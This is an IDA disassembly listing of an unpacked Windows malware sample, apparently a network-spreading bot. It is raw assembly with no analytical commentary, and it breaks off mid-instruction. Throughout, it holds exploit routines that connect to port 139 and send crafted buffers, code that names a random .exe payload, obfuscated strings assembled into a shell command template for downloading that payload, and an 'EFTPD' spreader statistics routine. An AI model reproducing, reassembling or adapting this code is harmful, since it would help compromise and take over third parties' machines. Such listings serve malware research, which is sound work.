; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 7A25F9E3CF5A54CADC497FBC9CABFEAF ; File Name : u:\work\7a25f9e3cf5a54cadc497fbc9cabfeaf_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00279000 (2592768.) ; Section size in file : 00279000 (2592768.) ; Offset to raw data for section: 00001000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: sub_40126C+Ep ; sub_40126C+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_40100A proc near ; CODE XREF: sub_40126C+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_4297B8 mov edi, eax pop ecx test edi, edi jz short loc_40103C push ebx push 0 push edi call sub_429760 push ebx push [esp+1Ch+arg_0] push edi call sub_429420 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40103C: ; CODE XREF: sub_40100A+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40100A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401044 proc near ; CODE XREF: sub_401136+18p ; sub_4011B0+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx mov ecx, [ebp+arg_C] push esi push edi lea edi, [eax+ecx] push edi call sub_4297B8 mov esi, eax pop ecx test esi, esi jz short loc_401090 push edi push 0 push esi call sub_429760 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_429420 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_429420 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_401090: ; CODE XREF: sub_401044+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_401044 endp ; =============== S U B R O U T I N E ======================================= sub_401099 proc near ; CODE XREF: sub_401136+5Ep ; sub_401136+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4010A9 push eax call sub_4298F2 pop ecx loc_4010A9: ; CODE XREF: sub_401099+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_401099 endp ; =============== S U B R O U T I N E ======================================= sub_4010B2 proc near ; CODE XREF: sub_401136+20p ; sub_401211+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4010DC xor ebx, ebx cmp eax, 7Fh setnl bl lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_4297B8 mov edi, eax pop ecx test edi, edi jnz short loc_4010E0 loc_4010DC: ; CODE XREF: sub_4010B2+Dj xor al, al jmp short loc_401132 ; --------------------------------------------------------------------------- loc_4010E0: ; CODE XREF: sub_4010B2+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_429760 add esp, 0Ch cmp ebx, 1 jnz short loc_401100 mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_401115 ; --------------------------------------------------------------------------- loc_401100: ; CODE XREF: sub_4010B2+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_401115: ; CODE XREF: sub_4010B2+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call sub_429420 add esp, 0Ch push dword ptr [esi] call sub_4298F2 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_401132: ; CODE XREF: sub_4010B2+2Cj pop edi pop esi pop ebx retn sub_4010B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401136 proc near ; CODE XREF: sub_40126C+89p ; sub_40126C+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_454038 call sub_401044 lea ecx, [ebp+var_8] call sub_4010B2 mov eax, [ebp+var_4] inc eax push eax call sub_4297B8 mov edi, eax pop ecx test edi, edi jnz short loc_401170 xor al, al jmp short loc_4011AC ; --------------------------------------------------------------------------- loc_401170: ; CODE XREF: sub_401136+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_429760 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_429420 add esp, 18h mov ecx, esi call sub_401099 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_401099 mov al, 1 loc_4011AC: ; CODE XREF: sub_401136+38j pop edi pop esi leave retn sub_401136 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4011B0 proc near ; CODE XREF: sub_4011E4+14p ; sub_401201+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_401044 mov ecx, esi call sub_401099 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4011B0 endp ; =============== S U B R O U T I N E ======================================= sub_4011E4 proc near ; CODE XREF: sub_40126C+F0p ; sub_40126C+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_4293A0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4011B0 pop esi retn 4 sub_4011E4 endp ; =============== S U B R O U T I N E ======================================= sub_401201 proc near ; CODE XREF: sub_40124D+Bp ; sub_40126C+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4011B0 retn 8 sub_401201 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401211 proc near ; CODE XREF: sub_40124D+16p ; sub_40126C+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4010B2 test al, al jz short loc_40124A push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_43A2F8 call sub_401044 mov ecx, esi call sub_401099 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40124A: ; CODE XREF: sub_401211+Fj pop esi leave retn sub_401211 endp ; =============== S U B R O U T I N E ======================================= sub_40124D proc near ; CODE XREF: sub_40126C+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_401201 test al, al jz short loc_401268 mov ecx, esi call sub_401211 loc_401268: ; CODE XREF: sub_40124D+12j pop esi retn 8 sub_40124D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40126C proc near ; CODE XREF: .text:00401821p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_401000 mov edi, 408h cmp [ebp+arg_8], edi jg loc_4015B0 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_4015B0 push esi lea ecx, [ebp+var_30] call sub_401000 lea ecx, [ebp+var_20] call sub_401000 lea ecx, [ebp+var_50] call sub_401000 lea ecx, [ebp+var_18] call sub_401000 lea ecx, [ebp+var_40] call sub_401000 lea ecx, [ebp+var_38] call sub_401000 lea ecx, [ebp+var_28] call sub_401000 push 4 push offset dword_43A05C lea ecx, [ebp+var_30] call sub_4011B0 push 3 push offset dword_43A064 lea ecx, [ebp+var_30] call sub_4011B0 lea ecx, [ebp+var_30] call sub_401136 lea ecx, [ebp+var_30] call sub_401211 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_429760 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_43A050 call sub_4011B0 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4011B0 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4011B0 lea ecx, [ebp+var_20] call sub_401136 push offset loc_43A320 lea ecx, [ebp+var_50] call sub_4011E4 lea ecx, [ebp+var_50] call sub_401136 push esi lea eax, [ebp+var_858] push 44h push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40100A lea ecx, [ebp+var_58] call sub_401136 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40124D lea ecx, [ebp+var_58] call sub_401099 push esi lea eax, [ebp+var_858] push 43h push eax call sub_429760 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_4011E4 push 4 push offset dword_43A068 lea ecx, [ebp+var_18] call sub_4011B0 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4011B0 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4011B0 lea ecx, [ebp+var_18] call sub_401136 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_401201 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_401201 lea ecx, [ebp+var_40] call sub_401211 lea ecx, [ebp+var_18] call sub_401099 lea ecx, [ebp+var_50] call sub_401099 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_401201 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_401201 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_401201 lea ecx, [ebp+var_38] call sub_401211 lea ecx, [ebp+var_20] call sub_401099 lea ecx, [ebp+var_30] call sub_401099 lea ecx, [ebp+var_40] call sub_401099 push esi lea eax, [ebp+var_858] push 41h push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4011B0 lea ecx, [ebp+var_28] call sub_401136 push 2 push offset dword_43A314 lea ecx, [ebp+var_28] call sub_4011B0 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_401201 lea ecx, [ebp+var_28] call sub_401211 lea ecx, [ebp+var_38] call sub_401099 lea ecx, [ebp+var_10] call sub_401000 lea ecx, [ebp+var_8] call sub_401000 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_401201 lea ecx, [ebp+var_10] call sub_4010B2 lea ecx, [ebp+var_28] call sub_401099 push offset dword_43A310 lea ecx, [ebp+var_8] call sub_4011E4 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_401201 lea ecx, [ebp+var_8] call sub_4010B2 lea ecx, [ebp+var_10] call sub_401099 push offset dword_43A30C lea ecx, [ebp+var_10] call sub_4011E4 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_401201 lea ecx, [ebp+var_10] call sub_4010B2 lea ecx, [ebp+var_8] call sub_401099 push offset dword_43A300 lea ecx, [ebp+var_8] call sub_4011E4 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_401201 lea ecx, [ebp+var_8] call sub_4010B2 lea ecx, [ebp+var_10] call sub_401099 push offset dword_43A2FC lea ecx, [ebp+var_48] call sub_4011E4 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_401201 lea ecx, [ebp+var_8] call sub_401099 pop esi loc_4015B0: ; CODE XREF: sub_40126C+1Bj ; sub_40126C+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop edi pop ebx mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx leave retn sub_40126C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015C2 proc near ; CODE XREF: sub_401687+A2p ; sub_401687+C7p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 xor edi, edi push eax lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_456F1C ; select cmp eax, edi jnz short loc_40162A lea eax, [ebp+var_10C] push eax push esi call dword_456DD8 ; __WSAFDIsSet test eax, eax jnz short loc_40162E loc_40162A: ; CODE XREF: sub_4015C2+54j xor eax, eax jmp short loc_40163E ; --------------------------------------------------------------------------- loc_40162E: ; CODE XREF: sub_4015C2+66j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_456F58 ; recv loc_40163E: ; CODE XREF: sub_4015C2+6Aj pop edi pop esi leave retn sub_4015C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401642 proc near ; CODE XREF: sub_401687+80p ; sub_401687+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_456F34 ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_456F8C ; send cmp eax, 4 jz short loc_40166C xor al, al leave retn ; --------------------------------------------------------------------------- loc_40166C: ; CODE XREF: sub_401642+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_456F8C ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_401642 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401687 proc near ; CODE XREF: sub_401766+48p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_4297B8 mov esi, eax pop ecx test esi, esi jnz short loc_4016B0 xor al, al jmp loc_401761 ; --------------------------------------------------------------------------- loc_4016B0: ; CODE XREF: sub_401687+20j push ebx push 0 push esi call sub_429760 push 2Fh push offset dword_43A0F8 push esi call sub_429420 push 8 lea eax, [esi+31h] push offset dword_43A128 push eax mov [esi+2Fh], di call sub_429420 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_429420 push 6 add ebx, edi push offset dword_454030 push ebx call sub_429420 push 85h push offset dword_43A070 push [ebp+arg_0] call sub_401642 add esp, 48h test al, al jnz short loc_401717 loc_401713: ; CODE XREF: sub_401687+B8j xor bl, bl jmp short loc_401758 ; --------------------------------------------------------------------------- loc_401717: ; CODE XREF: sub_401687+8Aj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_4015C2 push [ebp+var_4] push esi push [ebp+arg_0] call sub_401642 add esp, 1Ch test al, al jz short loc_401713 push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_4015C2 add esp, 10h mov bl, 1 loc_401758: ; CODE XREF: sub_401687+8Ej push esi call sub_4298F2 pop ecx mov al, bl loc_401761: ; CODE XREF: sub_401687+24j pop edi pop esi pop ebx leave retn sub_401687 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401766 proc near ; CODE XREF: .text:0040189Ap var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_43A138 push [ebp+arg_0] call dword_456F8C ; send cmp eax, 48h jnz short loc_4017A1 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_4015C2 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_4017A1 cmp [ebp+var_20], 82h jz short loc_4017A5 loc_4017A1: ; CODE XREF: sub_401766+1Bj ; sub_401766+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_4017A5: ; CODE XREF: sub_401766+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_401687 add esp, 0Ch leave retn sub_401766 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 41Ch and byte ptr [ebp-41Ch], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Bh] push 7 rep stosd stosw stosb lea eax, [ebp-41Ch] push offset dword_43A2F0 push eax call sub_429420 push dword_43A184 lea eax, [ebp-41Ch] push offset dword_43A8E8 push eax call sub_429420 lea eax, [ebp-41Ch] push 400h push eax push 164h lea eax, [ebp-0Ch] push offset sub_43A188 push eax call sub_40126C xor ebx, ebx add esp, 2Ch cmp [ebp-8], ebx jnz short loc_401837 xor eax, eax jmp loc_40198B ; --------------------------------------------------------------------------- loc_401837: ; CODE XREF: .text:0040182Ej mov [ebp-4], ebx loc_40183A: ; CODE XREF: .text:004018C2j test ebx, ebx jnz loc_4018C8 push 6 push 1 push 2 call dword_456FD0 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4018B0 xor eax, eax lea edi, [ebp-1Ah] stosd stosd stosd stosw push 8Bh mov word ptr [ebp-1Ch], 2 call dword_456F38 ; ntohs mov [ebp-1Ah], ax lea eax, [ebp+10h] push eax call dword_456F7C ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push esi call dword_456EBC ; connect cmp eax, 0FFFFFFFFh jz short loc_4018A5 push dword ptr [ebp-8] push dword ptr [ebp-0Ch] push esi call sub_401766 add esp, 0Ch movzx ebx, al loc_4018A5: ; CODE XREF: .text:00401891j push esi call dword_456FF0 ; closesocket test ebx, ebx jnz short loc_4018BB loc_4018B0: ; CODE XREF: .text:00401853j push 3E8h call dword_437190 ; Sleep loc_4018BB: ; CODE XREF: .text:004018AEj inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 2 jl loc_40183A loc_4018C8: ; CODE XREF: .text:0040183Cj lea ecx, [ebp-0Ch] call sub_401099 test ebx, ebx jz loc_40197E movzx eax, word_44399E push eax lea esi, [ebp+10h] sub esp, 0C4h push 31h pop ecx mov edi, esp rep movsd call sub_401B6E add esp, 0C8h test eax, eax jz short loc_40197E mov edx, [ebp+0BCh] xor ebx, ebx mov eax, edx mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." shl eax, 6 mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)" lea ecx, dword_43A380[eax] inc dword ptr [ecx] cmp [ebp+0CCh], ebx mov ecx, [ecx] jz short loc_401952 cmp [ebp+0C4h], ebx jnz short loc_40195A push ecx lea ecx, [ebp+10h] lea eax, dword_43A357[eax] push ecx push eax push edi push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CE4A mov edx, [ebp+0BCh] add esp, 1Ch loc_401952: ; CODE XREF: .text:00401926j cmp [ebp+0C4h], ebx jz short loc_40197E loc_40195A: ; CODE XREF: .text:0040192Ej shl edx, 6 lea eax, [ebp+10h] push dword_43A380[edx] push eax lea eax, dword_43A357[edx] push eax push edi push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CDD4 add esp, 1Ch loc_40197E: ; CODE XREF: .text:004018D2j ; .text:004018FDj ... lea eax, [ebp+10h] push eax call sub_401E9E xor eax, eax pop ecx inc eax loc_40198B: ; CODE XREF: .text:00401832j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401990 proc near ; CODE XREF: sub_40A9FE+5DEEp var_4E20 = byte ptr -4E20h var_2710 = byte ptr -2710h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 4E20h call sub_429B60 push ebx push edi push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." lea eax, [ebp+var_2710] push offset aSStats ; "%s (Stats):" push eax xor ebx, ebx call sub_429B03 add esp, 0Ch cmp dword_43A378, ebx mov edi, 2710h jz short loc_401A08 push esi mov esi, offset dword_43A380 loc_4019CD: ; CODE XREF: sub_401990+75j mov eax, [esi] add ebx, eax push eax lea eax, [esi-29h] push eax lea eax, [ebp+var_4E20] push offset aSD_0 ; " (%s: %d)," push eax call sub_429B03 lea eax, [ebp+var_4E20] push edi push eax lea eax, [ebp+var_2710] push eax call sub_4299E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_4019CD pop esi loc_401A08: ; CODE XREF: sub_401990+35j push 0 push dword_457E58 call dword_437188 ; GetTickCount push eax call sub_41B9F8 push eax push ebx push dword_457D08 lea eax, [ebp+var_4E20] push offset aEftpdDTotalDIn ; " (EFTPD): (%d), Total -> (%d in %s)" push eax call sub_429B03 lea eax, [ebp+var_4E20] push edi push eax lea eax, [ebp+var_2710] push eax call sub_4299E0 add esp, 2Ch cmp ebx, [ebp+arg_10] lea eax, [ebp+var_2710] pop edi pop ebx push eax push [ebp+arg_4] push [ebp+arg_0] jg short loc_401A66 cmp [ebp+arg_8], 0 jnz short loc_401A6D loc_401A66: ; CODE XREF: sub_401990+CEj call sub_41CE4A jmp short loc_401A72 ; --------------------------------------------------------------------------- loc_401A6D: ; CODE XREF: sub_401990+D4j call sub_41CDD4 loc_401A72: ; CODE XREF: sub_401990+DBj add esp, 0Ch leave retn sub_401990 endp ; =============== S U B R O U T I N E ======================================= sub_401A77 proc near ; CODE XREF: sub_401B6E+1B3p ; sub_401B6E+1B9p ... push esi push edi call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx call sub_429B9C push 1Ah pop edi cdq mov ecx, edi push 61h idiv ecx pop esi add edx, esi push edx call sub_429B9C cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_429B9C cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_429B9C cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_429B9C cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_429B9C cdq idiv edi add edx, esi mov esi, offset dword_454764 push edx push offset aCCCCCC ; "%c%c%c%c%c%c" push esi call sub_429B03 add esp, 20h mov eax, esi pop edi pop esi retn sub_401A77 endp ; =============== S U B R O U T I N E ======================================= sub_401AF0 proc near ; CODE XREF: sub_401B6E+17Ep ; sub_401B6E+189p ... push esi push edi call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx call sub_429B9C push 1Ah pop edi cdq mov ecx, edi push 61h idiv ecx pop esi add edx, esi push edx call sub_429B9C cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_429B9C cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_429B9C cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_429B9C cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_429B9C cdq idiv edi add edx, esi mov esi, offset dword_454740 push edx push offset dword_4439B4 push offset aSCCCCC ; "%s%c%c%c%c%c" push esi call sub_429B03 add esp, 24h mov eax, esi pop edi pop esi retn sub_401AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B6E proc near ; CODE XREF: .text:004018F0p ; sub_403B9B+139p ... var_6B4 = byte ptr -6B4h var_2B4 = byte ptr -2B4h var_1B4 = byte ptr -1B4h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_C4 = dword ptr 0CCh push ebp mov ebp, esp sub esp, 6B4h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_14] push edi push eax call sub_429760 add esp, 0Ch cmp dword_456DA8, edi push 2 pop esi jz short loc_401BFC push 10h lea eax, [ebp+var_24] push edi push eax call sub_429760 add esp, 0Ch mov [ebp+var_24], si push offset dword_4565A0 call dword_456F7C ; inet_addr mov [ebp+var_20], eax mov ax, word ptr dword_4567A0 push eax call dword_456F38 ; ntohs push edi push 1 push esi mov [ebp+var_22], ax call dword_456FD0 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_401E6D lea eax, [ebp+var_24] push 10h push eax push ebx call dword_456EBC ; connect cmp eax, 0FFFFFFFFh jnz short loc_401BF5 mov dword_456DA8, edi loc_401BF5: ; CODE XREF: sub_401B6E+7Fj push ebx call dword_4372D8 ; closesocket loc_401BFC: ; CODE XREF: sub_401B6E+26j lea eax, [ebp+arg_0] mov [ebp+var_14], si push eax call dword_456F7C ; inet_addr push [ebp+arg_C4] mov [ebp+var_10], eax call dword_456F38 ; ntohs push edi push 1 push esi mov [ebp+var_12], ax call dword_456FD0 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+arg_C4], esi jz loc_401E6D lea eax, [ebp+var_14] push 10h push eax push esi call dword_456EBC ; connect cmp eax, 0FFFFFFFFh jz loc_401E6D push edi lea eax, [ebp+var_6B4] push 400h push eax push esi call dword_456F58 ; recv call sub_429B9C push 9 pop esi cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq idiv esi lea eax, [ebp+var_2B4] push edx push offset dword_4439B4 push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" push eax call sub_429B03 add esp, 20h cmp dword_456DA8, edi mov ebx, offset dword_456BA8 jnz loc_401D6B lea eax, [ebp+arg_0] push eax call sub_41E4C1 test eax, eax pop ecx mov [ebp+var_4], offset dword_457CF8 jnz short loc_401CE0 mov [ebp+var_4], offset dword_457C40 loc_401CE0: ; CODE XREF: sub_401B6E+169j lea eax, [ebp+var_2B4] push eax push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/" push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax lea eax, [ebp+var_2B4] push eax push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax call sub_401A77 push eax call sub_401A77 push eax push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_401AF0 push eax mov esi, 190h push dword_454A30 lea eax, [ebp+var_1B4] push [ebp+var_4] push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset aSSSDSSSSSSSSSS ; "%s %s %s %d >> %s %s %s %s %s >> %s %s "... push esi push eax call sub_429BBE add esp, 60h jmp loc_401DF1 ; --------------------------------------------------------------------------- loc_401D6B: ; CODE XREF: sub_401B6E+150j push ebx push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/" push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax push ebx push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax push offset aEih0f1gakfp0 ; "EiH0f1GakFP0" push esi call sub_401AF0 push eax push offset dword_4569A8 push offset dword_4567A8 push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_401AF0 push eax mov esi, 190h push dword_4567A0 lea eax, [ebp+var_1B4] push offset dword_4565A0 push offset aW50oj_ac8ak0 ; 